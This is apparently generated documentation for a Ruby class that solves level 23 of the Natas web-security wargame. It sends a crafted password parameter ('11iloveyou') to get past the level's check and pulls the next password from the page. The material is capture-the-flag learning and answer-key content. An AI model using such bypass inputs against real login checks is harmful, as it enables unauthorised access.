Class: NatasLevel23

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 23

Constant Summary collapse

LEVEL =
23
PAGE =
'/?passwd=11iloveyou'

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



680
681
682
683
684
685
# File 'lib/natas.rb', line 680

def exec
  data = get(PAGE).body
  match = %r(Password: (\w{32})</pre>).match(data)
  not_found unless match
  found(match[1])
end